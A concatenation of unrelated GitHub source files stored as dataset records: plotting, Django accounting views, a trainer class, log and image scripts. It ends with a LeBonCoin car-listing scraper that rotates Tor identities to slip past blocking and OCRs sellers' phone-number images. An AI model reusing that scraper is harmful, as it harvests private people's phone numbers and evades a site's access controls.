energy_list[-1]),\r\n xytext=(x[-1]*0.9, energy_list[-1]+(max(energy_list)-min(energy_list))*0.1),\r\n arrowprops=dict(arrowstyle='->'), fontsize=12)\r\nplt.tight_layout()\r\nplt.savefig('energy_rmse.png', dpi=300)\r\n#plt.show()\r\n\r\n# loss\r\nplt.figure()\r\nplt.plot(x, loss_list)\r\nplt.xticks(fontsize=12)\r\nplt.yticks(fontsize=12)\r\nplt.xlabel('Epoch', size=14)\r\nplt.ylabel('LossValue', size=14)\r\nplt.annotate(s=str(np.round(loss_list[-1], 2)), xy=(x[-1], loss_list[-1]),\r\n xytext=(x[-1]*0.8, loss_list[-1]+(max(loss_list)-min(loss_list))*0.1),\r\n arrowprops=dict(arrowstyle='->'), fontsize=12)\r\nplt.tight_layout()\r\nplt.savefig('loss_rmse.png', dpi=300)\r\n#plt.show()\r\n\r\n# force\r\nplt.figure()\r\nplt.plot(x, force_list)\r\nplt.xticks(fontsize=12)\r\nplt.yticks(fontsize=12)\r\nplt.xlabel('Epoch', size=14)\r\nplt.ylabel('Force RMSE', size=14)\r\nplt.annotate(s=str(np.round(force_list[-1], 2)), xy=(x[-1], force_list[-1]),\r\n xytext=(x[-1]*0.9, force_list[-1]+(max(force_list)-min(force_list))*0.1),\r\n arrowprops=dict(arrowstyle='->'), fontsize=12)\r\nplt.tight_layout()\r\nplt.savefig('force_rmse.png', dpi=300)\r\n#plt.show()\r\n","repo_name":"finthon/mytools","sub_path":"plot_loss_change.py","file_name":"plot_loss_change.py","file_ext":"py","file_size_in_byte":2430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36370729709","text":"from django.test import TestCase\n\nfrom tracker.models import User\n\nclass TestUserModel(TestCase):\n\n def test_user_exists(self):\n user_data = {\n 'user_id': '1000',\n 'name': 'Carlos'\n }\n\n User.objects.create(**user_data)\n\n self.assertTrue(User.exists(user_data['user_id']))\n","repo_name":"TrackerUNI/UNITracker-web","sub_path":"tracker/tests/test_user.py","file_name":"test_user.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24695892828","text":"def more_zeros(s):\n total = []\n for i in s:\n if bin(ord(i))[2:].count(\"0\") > bin(ord(i))[2:].count(\"1\"):\n if i not in total:\n total.append(i)\n else:\n continue\n\n return total\n\n\nprint(more_zeros('thequickbrownfoxjumpsoverthelazydog'))\n\n\n","repo_name":"p4shijkaa/study","sub_path":"codewars_tests.py","file_name":"codewars_tests.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9416883882","text":"from datetime import datetime, timedelta\r\n\r\nlog_path = 'log_entries.txt'\r\nout_path = 'scenario4_r3_out.txt'\r\n\r\n# Make sure log entries are in the right order as they are below\r\n\r\ns1 = 'addPageToDocList(0'\r\ns2 = 'addPageToDocList(9'\r\n\r\ndef get_timediff(line1, line2):\r\n\twords1 = line1.split()\r\n\twords2 = line2.split()\r\n\t\r\n\td1 = datetime.strptime(words1[1], '%H:%M:%S,%f')\r\n\td2 = datetime.strptime(words2[1], '%H:%M:%S,%f')\r\n\tdiff = d2 - d1\r\n\treturn diff\r\n\r\nwith open(log_path, 'r') as l:\r\n\tlines = l.readlines()\r\n\t\r\n\tfiltered_lines = [li for li in lines if (s1 in li or s2 in li)]\r\n\t\r\n\tif len(filtered_lines) % 2 > 0:\r\n\t\tprint('ERROR: The total number of log entries needed for calculation should be even. This script can only compute time differences using two log entries for now.')\r\n\t\r\n\twith open(out_path, 'a+') as o:\r\n\t\tcount = 0\r\n\t\trun = 1\r\n\t\tdiffs = []\r\n\t\t\r\n\t\twhile count < len(filtered_lines):\r\n\t\t\tres = get_timediff(filtered_lines[count], filtered_lines[count + 1])\r\n\t\t\tdiffs.append(res)\r\n\t\t\to.write(str(run) + '\\n')\r\n\t\t\to.write(filtered_lines[count])\r\n\t\t\to.write(filtered_lines[count + 1])\r\n\t\t\to.write(str(res) + '\\n')\r\n\t\t\tcount += 2\r\n\t\t\trun += 1\r\n\t\t\r\n\t\taverage_timedelta = sum(diffs, timedelta(0)) / len(diffs)\r\n\t\to.write('\\nAverage: ' + str(average_timedelta))\r\n\t\r\n\t# get aver ...","repo_name":"michaelarcangeles/logfiletool","sub_path":"logscript.py","file_name":"logscript.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24256212394","text":"class ModelTrainer:\n def __init__(self, model, train_data, validation_data, config):\n self.model = model\n self.train_data = train_data\n self.validation_data = validation_data\n self.config = config\n self.loss = []\n self.val_loss = []\n\n def train(self):\n history = self.model.fit(\n self.train_data[0], self.train_data[1],\n batch_size=self.config.batch_size,\n epochs=self.config.epochs,\n validation_data=self.validation_data,\n shuffle=True)\n\n self.loss.extend(history.history['loss'])\n self.val_loss.extend(history.history['val_loss'])\n \n def get_trained_model(self):\n return self.model\n \n def save(self, checkpoint_path):\n if self.model is None:\n raise Exception(\"You have to build the model first.\")\n\n print(\"Saving model...\")\n self.model.save_weights(checkpoint_path)\n print(\"Model saved\")","repo_name":"juvekaradheesh/AML-Project","sub_path":"trainer/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70749289387","text":"import json as simplejson\nfrom django.forms.models import model_to_dict\nfrom django.core import serializers\nfrom django.http import JsonResponse, HttpResponse\nfrom django.views.generic import View\nfrom django.shortcuts import render\n\n# Create your views here.\nfrom django.views.generic import ListView\nfrom .models import (ChartCategory, ChartSubCategory, ChartNoteItems, SetupClients, SetupVendors,\n SetupInventoryCategory, SetupInventoryItems, SetupClients, SetupVendors,\n ReceiptMain, ReceiptDetails, ExpenseMain, ExpenseDetails, GJournalMain,\n GJournalDetails, GeneralLedger, SetupFixedAssets, SetupBegbalanceDetails,\n SetupBegBalanceMain, PurchaseMain, PurchaseDetails, BudgetMain, BudgetDetails)\nfrom django.db.models import Max, PositiveIntegerField, Value, Sum\n\n\nclass ChartNoteItem(ListView):\n model = ChartNoteItems\n template_name = 'smartsetup/chartnoteitem.html'\n context_object_name = 'noteitems'\n\n def get_context_data(self, **kwargs):\n # Call the base implementation first to get a context\n context = super().get_context_data(**kwargs)\n # Add in a QuerySet of all the Sub Category\n context['sub_category'] = ChartSubCategory.objects.all().order_by(\n 'sub_category_name')\n\n return context\n\n\nclass CreateNoteItem(View):\n def get(self, request):\n\n name1 = request.GET.get('item_name', None)\n revenue1 = request.GET.get('sub_category', None)\n\n print(revenue1)\n\n obj = ChartNoteItems.objects.create(\n item_name=name1,\n sub_category=revenue1\n )\n\n item = {'id': obj.id, 'item_name': obj.item_name,\n 'sub_category': obj.sub_category}\n\n data = {\n 'item': item\n }\n return JsonResponse(data)\n\n\n# def chartnote_filter(request):\n# notes = request.GET.get('notes', None)\n# print(notes)\n# data = {\n# 'is_taken': ChartSubCategory.objects.filter(notes__iexact=notes).exists()\n# }\n# return JsonResponse(data)\n\n\ndef list_filter(request):\n if request.method == \"GET\" and request.is_ajax():\n category = request.GET.get('category', None)\n # item = ChartNoteItems.objects.get(sub_category=category)\n # item = ChartNoteItems.objects.get(sub_category=category)\n # item_list = serializers.serialize(\n # \"xml\", ChartNoteItems.objects.filter(sub_category=category))\n # print(category)\n # print('###')\n # # print(item)\n # print('###')\n # print(item_list)\n\n try:\n # item_list = serializers.serialize(\n # \"xml\", ChartNoteItems.objects.filter(sub_category=category))\n\n item_list = serializers.serialize(\n \"json\", ChartNoteItems.objects.filter(sub_category=category))\n\n data = {\n 'List_Record': item_list\n }\n return JsonResponse(data)\n\n except:\n return JsonResponse({\"success\": False}, status=400)\n\n return JsonResponse({\"success\": False}, status=400)\n\n\nclass UpdateNoteItem(View):\n def get(self, request):\n print('Code executed')\n\n id1 = request.GET.get('id', None)\n name1 = request.GET.get('item_name', None)\n sub_category1 = request.GET.get('sub_category', None)\n\n print(id1)\n print(sub_category1)\n print(name1)\n\n obj = ChartNoteItems.objects.get(id=id1)\n obj.item_name = name1\n obj.sub_category = sub_category1\n obj.save()\n\n item = {'id': obj.id, 'item_name': obj.item_name,\n 'sub_category': obj.sub_category}\n\n data = {\n 'item': item\n }\n return JsonResponse(data)\n\n\nclass DeleteNoteItem(View):\n def get(self, request):\n id1 = request.GET.get('id', None)\n ChartNoteItems.objects.get(id=id1).delete()\n data = {\n 'deleted': True\n }\n return JsonResponse(data)\n\n\nclass DeleteRececiptItem(View):\n def get(self, request):\n id1 = request.GET.get('id', None)\n pk = request.GET.get('mainID', None)\n receipt_number = request.GET.get('receipt_number', None)\n description = ReceiptDetails.objects.get(id=id1).description\n amount = ReceiptDetails.objects.get(id=id1).amount\n\n ReceiptDetails.objects.get(id=id1).delete()\n GeneralLedger.objects.get(credit=amount, description=description,\n ref_number=receipt_number, journal_type='CRJ', main_Trans=False).delete()\n\n # get the sum of the receipt detail values\n total_sum = ReceiptDetails.objects.filter(\n receipt_main_id_id=pk).aggregate(Sum('amount'))['amount__sum'] or 0.00\n\n # Update Cash receipt journal total credit value\n total_amount = float(total_sum)\n obj3 = GeneralLedger.objects.get(\n ref_number=receipt_number, journal_type='CRJ', main_Trans=True)\n obj3.credit = total_amount\n obj3.save()\n\n # Get the cash receipt journal items\n journal_list = serializers.serialize(\n \"json\", GeneralLedger.objects.filter(ref_number=receipt_number, journal_type='CRJ'))\n\n journal_list1 = GeneralLedger.objects.filter(\n ref_number=receipt_number, journal_type='CRJ')\n print('JOURNAL LIST RETRIEVED : ', journal_list1)\n\n data = {\n 'deleted': True,\n 'total_sum': total_sum,\n 'journal_list': journal_list,\n }\n return JsonResponse(data)\n\n\nclass DeleteRececipt(View):\n def get(self, request):\n id1 = request.GET.get('id', None)\n\n ref_number1 = ReceiptMain.objects.get(id=id1).receipt_number\n GeneralLedger.objects.filter(\n ref_number=ref_number1, journal_type='CRJ').delete()\n\n ReceiptMain.objects.get(id=id1).delete()\n data = {\n 'deleted': True\n }\n return JsonResponse(data)\n\n\nclass DeleteBudget(View):\n def get(self, request):\n id1 = request.GET.get('id', None)\n\n BudgetMain.objects.get(id=id1).delete()\n\n data = {\n 'deleted': True\n }\n return JsonResponse(data)\n\n\nclass DeleteBudgetItem(View):\n def get(self, request):\n id1 = request.GET.get('id', None)\n pk = request.GET.get('mainID', None)\n voucher_number = request.GET.get('voucher_number', None)\n description = BudgetDetails.objects.get(id=id1).description\n amount = BudgetDetails.objects.get(id=id1).amount\n\n BudgetDetails.objects.get(id=id1).delete()\n total_sum = BudgetDetails.objects.filter(\n budget_main_id_id=pk).aggregate(Sum('amount'))['amount__sum'] or 0.00\n\n total_amount = float(total_sum)\n\n data = {\n 'deleted': True,\n 'total_sum': total_sum,\n # 'journal_list': journal_list,\n }\n return JsonResponse(data)\n\n\n# For Expense Module\ndef get_budgetexp(request):\n\n if request.method == 'GET' and request.is_ajax():\n item_code = request.GET.get('item_code', None)\n print('ITEM CODE IS:', item_code)\n budget_exp = BudgetDetails.objects.get(\n id=item_code).budget_item_id\n print('BUDGET ITEM ACCOUNT IS:', budget_exp)\n acct_exp = ChartNoteItems.objects.filter(id=budget_exp).values(\n 'id', 'item_name', 'sub_category__sub_category_name', 'sub_category__category_code__category_name')\n print('Selected Category Items is: ', acct_exp)\n\n data = dict(values=list(acct_exp))\n print('CONVERTED DATA Items is: ', data)\n return JsonResponse(data)\n\n else:\n return redirect('/')\n\n\nclass DeleteExpense(View):\n def get(self, request):\n id1 = request.GET.get('id', None)\n\n ref_number1 = ExpenseMain.objects.get(id=id1).voucher_number\n GeneralLedger.objects.filter(\n ref_number=ref_number1, journal_type='CDJ').delete()\n\n ExpenseMain.objects.get(id=id1).delete()\n\n data = {\n 'deleted': True\n }\n return JsonResponse(data)\n\n\nclass DeleteExpenseItem(View):\n def get(self, request):\n id1 = request.GET.get('id', None)\n pk = request.GET.get('mainID', None)\n voucher_number = request.GET.get('voucher_number', None)\n description = ExpenseDetails.objects.get(id=id1).description\n amount = ExpenseDetails.objects.get(id=id1).amount\n\n ExpenseDetails.objects.get(id=id1).delete()\n GeneralLedger.objects.filter(debit=amount, description=description,\n ref_number=voucher_number, journal_type='CDJ', main_Trans=False).delete()\n\n # get the sum of the receipt detail values\n total_sum = ExpenseDetails.objects.filter(\n expense_main_id_id=pk).aggregate(Sum('amount'))['amount__sum'] or 0.00\n\n # Update Cash receipt journal total credit value\n total_amount = float(total_sum)\n obj3 = GeneralLedger.objects.get(\n ref_number=voucher_number, journal_type='CDJ', main_Trans=True)\n obj3.credit = total_amount\n obj3.save()\n\n # Get the cash receipt journal items\n journal_list = serializers.serialize(\n \"json\", GeneralLedger.objects.filter(ref_number=voucher_number, journal_type='CDJ'))\n\n journal_list1 = GeneralLedger.objects.filter(\n ref_number=voucher_number, journal_type='CDJ')\n print('JOURNAL LIST RETRIEVED : ', journal_list1)\n\n data = {\n 'deleted': True,\n 'total_sum': total_sum,\n 'journal_list': journal_list,\n }\n return JsonResponse(data)\n\n\nclass DeleteGJournal(View):\n def get(self, request):\n id1 = request.GET.get('id', None)\n\n ref_number1 = GJournalMain.objects.get(id=id1).ref_number\n GeneralLedger.objects.filter(\n ref_number=ref_number1, journal_type='GJ').delete()\n\n GJournalMain.objects.get(id=id1).delete()\n\n data = {\n 'deleted': True\n }\n return JsonResponse(data)\n\n\nclass DeleteGJournalItem(View):\n def get(self, request):\n id1 = request.GET.get('id', None)\n pk = request.GET.get('mainID', None)\n voucher_number = request.GET.get('voucher_number', None)\n description = GJournalDetails.objects.get(id=id1).description\n debit = GJournalDetails.objects.get(id=id1).debit\n credit = GJournalDetails.objects.get(id=id1).credit\n\n GJournalDetails.objects.get(id=id1).delete()\n GeneralLedger.objects.get(debit=debit, credit=credit, description=description,\n ref_number=voucher_number, journal_type='GJ', main_Trans=False).delete()\n\n # get the sum of the receipt detail values\n total_debit = GJournalDetails.objects.filter(\n journal_main_id_id=pk).aggregate(Sum('debit'))['debit__sum'] or 0.00\n total_credit = GJournalDetails.objects.filter(\n journal_main_id_id=pk).aggregate(Sum('credit'))['credit__sum'] or 0.00\n\n # Get the cash receipt journal items\n journal_list = serializers.serialize(\n \"json\", GeneralLedger.objects.filter(ref_number=voucher_number, journal_type='GJ'))\n\n data = {\n 'deleted': True,\n 'total_debit': total_debit,\n 'total_credit': total_credit,\n 'journal_list': journal_list,\n }\n return JsonResponse(data)\n\n\nclass UnpostGJournal(View):\n def get(self, request):\n voucher_number = request.GET.get('voucher_number', None)\n\n GeneralLedger.objects.filter(\n ref_number=voucher_number, journal_type='GJ').delete()\n\n # Get the posted journal items\n journal_list = serializers.serialize(\n \"json\", GeneralLedger.objects.filter(ref_number=voucher_number, journal_type='GJ'))\n\n data = {\n 'deleted': True,\n 'journal_list': journal_list,\n }\n return JsonResponse(data)\n\n\nclass DeleteBegBalanceItem(View):\n def get(self, request):\n id1 = request.GET.get('id', None)\n pk = request.GET.get('mainID', None)\n period_number = request.GET.get('period_number', None)\n description = SetupBegbalanceDetails.objects.get(id=id1).description\n debit = SetupBegbalanceDetails.objects.get(id=id1).debit\n credit = SetupBegbalanceDetails.objects.get(id=id1).credit\n\n SetupBegbalanceDetails.objects.get(id=id1).delete()\n # GeneralLedger.objects.get(debit=debit, credit=credit, description=description,\n # ref_number=voucher_number, journal_type='BB', main_Trans=False).delete()\n\n # get the sum of the receipt detail values\n total_debit = SetupBegbalanceDetails.objects.filter(\n mainid_id=pk).aggregate(Sum('debit'))['debit__sum'] or 0.00\n total_credit = SetupBegbalanceDetails.objects.filter(\n mainid_id=pk).aggregate(Sum('credit'))['credit__sum'] or 0.00\n\n # Get the cash receipt journal items\n journal_list = serializers.serialize(\n \"json\", GeneralLedger.objects.filter(ref_number=period_number, journal_type='BB'))\n\n data = {\n 'deleted': True,\n 'total_debit': total_debit,\n 'total_credit': total_credit,\n 'journal_list': journal_list,\n }\n return JsonResponse(data)\n\n\nclass DeleteBegBalance(View):\n def get(self, request):\n id1 = request.GET.get('id', None)\n\n ref_number1 = SetupBegBalanceMain.objects.get(id=id1).periodno\n GeneralLedger.objects.filter(\n ref_number=ref_number1, journal_type='BB').delete()\n\n SetupBegBalanceMain.objects.get(id=id1).delete()\n\n data = {\n 'deleted': True\n }\n return JsonResponse(data)\n\n\n# VALIDATIONS\n\n\ndef ValidateNoteNo(request):\n notes = request.GET.get('notes', None)\n # print(notes)\n data = {\n 'is_taken': ChartSubCategory.objects.filter(notes__iexact=notes).exists()\n }\n return JsonResponse(data)\n\n\ndef populate_noteitems(request):\n if request.method == 'GET' and request.is_ajax():\n category = request.GET.get('sub_category', None)\n\n result_set = []\n selected_items = []\n\n if category:\n selected_category = ChartSubCategory.objects.get(\n id=category)\n selected_items = selected_category.noteitems.all()\n print('Selected Note Items are: ', selected_items)\n else:\n selected_items = ChartNoteItems.objects.all().order_by('-item_name')\n print('Selected ALL Note Items')\n\n for item in selected_items:\n # print('Item Name: ', item.item_name)\n # print('Item ID: ', item.id)\n result_set.append({'item': item.item_name, 'itemID': item.id})\n\n return HttpResponse(simplejson.dumps(result_set), content_type='application/json')\n\n else:\n return redirect('/')\n\n\ndef get_acctcat(request):\n if request.method == 'GET' and request.is_ajax():\n item_code = request.GET.get('item_code', None)\n\n selected_category = ChartNoteItems.objects.get(\n id=item_code).sub_category_id\n print('Selected Category Items is: ', selected_category)\n\n data = {\n 'selected_category': selected_category\n }\n return JsonResponse(data)\n\n else:\n return redirect('/')\n\n\ndef populate_purchaseitems(request):\n if request.method == 'GET' and request.is_ajax():\n print('AM HERE!!!: ')\n option_type = request.GET.get('type', None)\n\n result_set = []\n selected_items = []\n selected_accounts = []\n\n if option_type == 'inventory':\n # selected_items = SetupInventoryItems.objects.all().order_by('-inventory_name')\n selected_items = SetupInventoryItems.objects.all()\n print('Selected Inventory Items are: ', selected_items)\n\n for item in selected_items:\n result_set.append(\n {'item': item.inventory_name, 'itemID': item.id})\n\n # ids = ChartSubCategory.objects.filter(id='24').values_list('id', flat=True)\n # note_acct_inventory = ChartNoteItems.objects.filter(sub_category__in=ids)\n else:\n selected_items = SetupFixedAssets.objects.all().order_by('-description')\n print('Selected Fixed Asset are: ', selected_items)\n\n for item in selected_items:\n result_set.append(\n {'item': item.description, 'itemID': item.id})\n\n return HttpResponse(simplejson.dumps(result_set), content_type='application/json')\n\n else:\n return redirect('/')\n\n\nclass DeletePurchase(View):\n def get(self, request):\n id1 = request.GET.get('id', None)\n\n ref_number1 = PurchaseMain.objects.get(id=id1).voucher_number\n GeneralLedger.objects.filter(\n ref_number=ref_number1, journal_type='PJ').delete()\n\n PurchaseMain.objects.get(id=id1).delete()\n\n data = {\n 'deleted': True\n }\n return JsonResponse(data)\n\n\nclass DeletePurchaseItem(View):\n def get(self, request):\n id1 = request.GET.get('id', None)\n pk = request.GET.get('mainID', None)\n voucher_number = request.GET.get('voucher_number', None)\n description = PurchaseDetails.objects.get(id=id1).description\n amount = PurchaseDetails.objects.get(id=id1).amount\n\n PurchaseDetails.objects.get(id=id1).delete()\n GeneralLedger.objects.filter(debit=amount, description=description,\n ref_number=voucher_number, journal_type='PJ', main_Trans=False).delete()\n\n # get the sum of the receipt detail values\n total_sum = PurchaseDetails.objects.filter(\n expense_main_id_id=pk).aggregate(Sum('amount'))['amount__sum'] or 0.00\n\n # Update Cash receipt journal total credit value\n total_amount = float(total_sum)\n obj3 = GeneralLedger.objects.get(\n ref_number=voucher_number, journal_type='PJ', main_Trans=True)\n obj3.credit = total_amount\n obj3.save()\n\n # Get the cash receipt journal items\n journal_list = serializers.serialize(\n \"json\", GeneralLedger.objects.filter(ref_number=voucher_number, journal_type='PJ'))\n\n journal_list1 = GeneralLedger.objects.filter(\n ref_number=voucher_number, journal_type='PJ')\n print('JOURNAL LIST RETRIEVED : ')\n\n data = {\n 'deleted': True,\n 'total_sum': total_sum,\n 'journal_list': journal_list,\n }\n return JsonResponse(data)\n\n\ndef get_assetaccts(request):\n if request.method == 'GET' and request.is_ajax():\n item_code = request.GET.get('item_code', None)\n\n asset_account = SetupFixedAssets.objects.get(\n id=item_code).asset_account_id\n expense_account = SetupFixedAssets.objects.get(\n id=item_code).expense_account_id\n accumulated_account = SetupFixedAssets.objects.get(\n id=item_code).accumulated_account_id\n purchase_value = SetupFixedAssets.objects.get(\n id=item_code).purchase_value\n asset_category = ChartNoteItems.objects.get(\n id=asset_account).sub_category_id\n\n print('Selected Asset Account Items is: ', asset_account)\n print('Selected Category Items is: ', asset_category)\n\n data = {\n 'asset_account': asset_account,\n 'expense_account': expense_account,\n 'accumulated_account': accumulated_account,\n 'asset_category': asset_category,\n 'purchase_value': purchase_value\n }\n return JsonResponse(data)\n\n else:\n return redirect('/')\n\n\ndef get_date_value(request):\n if request.method == 'GET' and request.is_ajax():\n main_ID = request.GET.get('main_ID', None)\n\n selected_date = SetupBegBalanceMain.objects.get(\n id=main_ID).entrydate\n print('Selected DATE Items is: ', selected_date)\n\n data = {\n 'selected_date': selected_date\n }\n return JsonResponse(data)\n\n else:\n return redirect('/')\n","repo_name":"luqmanshof/smartcountV2","sub_path":"smartsetup/views_ajax.py","file_name":"views_ajax.py","file_ext":"py","file_size_in_byte":20257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40505186923","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on 03-12-2019\r\n@author: Gou Yujie\r\n\"\"\"\r\nimport cv2\r\nimport numpy as np\r\nimport os\r\nimport re\r\npath1=\"F:\\cuckoo_lab\\image_project\\pics\\DAPI-Blue; TFEB-Red\\positive\"\r\npath2=\"F:\\cuckoo_lab\\image_project\\pics\\DAPI-Blue; TFEB-Red\\\\negative\"#\\n是特殊字符\r\ndef walkFile(path):\r\n list_fold=[]\r\n list_pics_DAPI=[]\r\n list_pics_TFEB=[]\r\n for root,dirs,files in os.walk(path):\r\n for foldname in dirs:\r\n bpath=os.path.join(root,foldname) #所有path以下的文件夹名字\r\n if re.match(\".*?[A-Z]$\",bpath): #list_fold只留下绝对路径的倒数第二层文件夹\r\n # print(bpath)\r\n list_fold.append(bpath)\r\n # print(list_fold)\r\n for i in range(len(list_fold)): #建立一个列表来放两种染色图的文件名\r\n if re.search(\".*-(\\d-DAPI)\", list_fold[i]) != None: #红色染料\r\n for file in os.listdir(list_fold[i]):\r\n list_pics_DAPI.append(list_fold[i]+'\\\\'+file)\r\n elif re.search(\".*-(\\d-TFEB)\", list_fold[i]) != None: #蓝色染料\r\n for file in os.listdir(list_fold[i]):\r\n list_pics_TFEB.append(list_fold[i]+'\\\\'+file)\r\n else:\r\n pass\r\n# print(list_pics_DAPI)\r\n# print(list_pics_TFEB)\r\n return list_pics_DAPI,list_pics_TFEB\r\nlist_pos_DAPI=walkFile(path1)[0] #得到pos和neg分别红和蓝的图像路径列表\r\nlist_pos_TFEB=walkFile(path1)[1]\r\nlist_neg_DAPI=walkFile(path2)[0]\r\nlist_neg_TFEB=walkFile(path2)[1]\r\n#print(list1)\r\n#list2=walkFile(path2)\r\n#print(len(list_neg_TFEB))\r\ndef getpic(list1,list2,type): #图像merge,红色为主\r\n alpha = 0.25\r\n beta = 1 - alpha\r\n gamma = 0\r\n for i in range(len(list1)):\r\n # for i in range(len(list2)):\r\n bottom_pic=cv2.imread(list1[i])\r\n top_pic=cv2.imread(list2[i])\r\n overlap_pic=cv2.addWeighted(bottom_pic,alpha,top_pic,beta,gamma)\r\n save_path=\"F:\\cuckoo_lab\\image_project\\pics\\merge\\%s\\\\\"%type\r\n img=\"%s_merge%d.jpg\"%(type,i)\r\n cv2.imwrite(save_path+img,overlap_pic)\r\ngetpic(list_pos_DAPI,list_pos_TFEB,type='pos')\r\ngetpic(list_neg_DAPI,list_neg_TFEB,type='neg')\r\n\r\n\r\n\r\n\r\n","repo_name":"YujieGou/image_rec_DAPI","sub_path":"DAPI_rec_final/merge_pic.py","file_name":"merge_pic.py","file_ext":"py","file_size_in_byte":2194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21387521168","text":"from bs4 import BeautifulSoup\nimport requests\nimport json\nimport pandas as pd\nimport numpy as np\nimport time\n\nfrom subprocess import call\nimport re\n\nfrom torrequest import TorRequest\n\n\n#@ MahzadK October 2016\n\ndef findNbPage(lien) :\n r3 = requests.get(lien)\n soup = BeautifulSoup(r3.text, 'html.parser')\n div = soup.find(id=\"last\")\n textPage = div.get('href')\n numPage = int(textPage.split('?')[1].split('=')[1].split('&')[0])\n return numPage\n\n\ndef extractLink(lien):\n r3 = requests.get(lien)\n soup = BeautifulSoup(r3.text, 'html.parser')\n cells = soup.find_all('section', {'class' : \"tabsContent block-white dontSwitch\"})\n li = cells[0].find_all('li')\n\n listeLien = []\n for i in li :\n lien = i.find('a').get('href')\n listeLien.append(\"https:\"+lien)\n return listeLien\n\ndef getKm(cells) :\n #find km\n resKm = cells[5].find('span',{'class' : 'value'})\n Km = (re.sub(r'\\D', '', resKm.get_text()))\n return Km\n\ndef getPrice(cells):\n resPrix = cells[0].find('span',{'class' : 'value'})\n prix = int(re.sub(r'\\D', '', resPrix.get_text()))\n return prix\n\ndef getTitre(cells):\n #Find Titre\n cells = soup.find_all('h1',{'class' : 'no-border'})\n res = (re.sub(r'\\w', '', cells[0].get_text()))\n return res\n\ndef getModel(cells):\n return cells[3].find('span',{'class' : 'value'}).text\n\ndef getYear(cells):\n resAnnee = cells[4].find('span',{'class' : 'value'})\n annee = int(re.sub(r'\\D', '', resAnnee.get_text()))\n return annee\n\ndef getProOrPart(cells):\n resPro = soup.find('span',{'class' : 'ispro'})\n if not resPro is None :\n res = \"pro\"\n else :\n res = \"particulier\"\n print(res)\n return res\n\n\n\ndef getPhone(lienPage):\n id = lienPage.split('/')[4].split(\".\")[0]\n lienImage = \"https://www2.leboncoin.fr/ajapi/get/phone?list_id=\"+id\n with TorRequest() as tr:\n time.sleep(5)\n tr.reset_identity()\n tr.ctrl.signal('CLEARDNSCACHE')\n r3 = tr.get(lienImage)\n response = tr.get('http://ipecho.net/plain')\n print(\"ip\", response.text)\n data = json.loads(r3.text)\n if data!= '':\n lien = data['phoneUrl']\n f = open('temp.gif', 'wb')\n f.write(requests.get(lien).content)\n f.close()\n call([\"sips\", \"-s\", \"format\", \"jpeg\", \"temp.gif\", \"--out\", \"temp.jpeg\", \"-Z\", \"600\" ])\n call([\"tesseract\", \"temp.jpeg\", \"temp\", \"-psm\", \"7\", \"nobatch\", \"digits\"])\n numero = open('temp.txt').read()\n print(numero)\n if len(numero)>0:\n return (re.sub(r'\\D', '', numero))\n else :\n return(\"000000000\")\n else :\n return(\"000000000\")\n\n\ndef getVersion(soup):\n titre = soup.find('h1',{'class' : 'no-border'}).get_text().lower()\n version = None\n for v in versions:\n if v in titre:\n version = v\n break\n return version\n\n#*********************************************************************\n\n\n\nlisteTotal = []\nversions = ['intens', 'zen', 'life']\n\nnumPage = findNbPage(\"https://www.leboncoin.fr/voitures/offres/ile_de_france/?th={}&q=Renault%20Zoe&parrot=0\".format('1'))\n\nfor page in range(1,numPage) :\n page = str(page)\n print(page)\n\n listeRegion = [\"https://www.leboncoin.fr/voitures/offres/ile_de_france/?th={}&q=Renault%20Zoe&parrot=0\".format(page),\n \"https://www.leboncoin.fr/voitures/offres/provence_alpes_cote_d_azur/?th={}&q=Renault%20Zoe&parrot=0\".format(page),\n \"https://www.leboncoin.fr/voitures/offres/aquitaine/?th={}&q=Renault%20Zoe&parrot=0\".format(page)]\n liste = []\n lien1 = listeRegion[0]\n liste = extractLink(lien1)\n listeTotal.extend(liste)\n\ndfLBC = pd.DataFrame(columns=('Modele','Version', 'Année', 'Km', 'TypeVendeur', 'Telephone' ))\ndfCentrale= pd.DataFrame(columns=['Année', 'Version', 'Cote'])\n\n\nlisteTitre = []\nlisteModele = []\nlisteYear = []\nlistPrix = []\nlisteKm = []\nlisteTypeVendeur = []\nlisteTelephone = []\nlisteVersion =[]\n\nwith TorRequest() as tr:\n time.sleep(3)\n tr.reset_identity()\n tr.ctrl.signal('CLEARDNSCACHE')\n for li in listeTotal :\n print(li)\n r3 = tr.get(li)\n soup = BeautifulSoup(r3.text, 'html.parser')\n cells = soup.find_all('h2',{'class' : 'clearfix'})\n Km = getKm(cells)\n listeKm.append(Km)\n Model = getModel(cells)\n listeModele.append(Model)\n Year = getYear(cells)\n listeYear.append(Year)\n price = getPrice(cells)\n listPrix.append(price)\n pro = getProOrPart(cells)\n listeTypeVendeur.append(pro)\n Phone = getPhone(li)\n listeTelephone.append(Phone)\n version = getVersion(soup)\n listeVersion.append(version)\n\n\n# la centrale auto\nurl_cote = \"http://www.lacentrale.fr/cote-auto-renault-zoe-{version}+charge+rapide-{annee}.html\"\n\nannees = [2012, 2013, 2014, 2015]\n\nfor annee in annees:\n for version in versions:\n url = url_cote.replace('{version}', version)\n url = url.replace('{annee}', str(annee))\n print ('Cote: ' + url)\n r = requests.get(url)\n soup = BeautifulSoup(r.text, 'html.parser')\n #cote = float(re.sub(r'\\D', '', soup.find('span', {'class': 'Result_Cote'}).get_text()))\n cote = 200\n dfCentrale = dfCentrale.append({\n 'Version': version,\n 'Année': annee,\n 'Cote': cote\n }, ignore_index=True)\n\ndfLBC['Modele'] = listeModele\ndfLBC['Année'] = listeYear\ndfLBC['Km'] = listeKm\ndfLBC['TypeVendeur'] = listeTypeVendeur\ndfLBC['Telephone'] = listeTelephone\ndfLBC['Version'] = 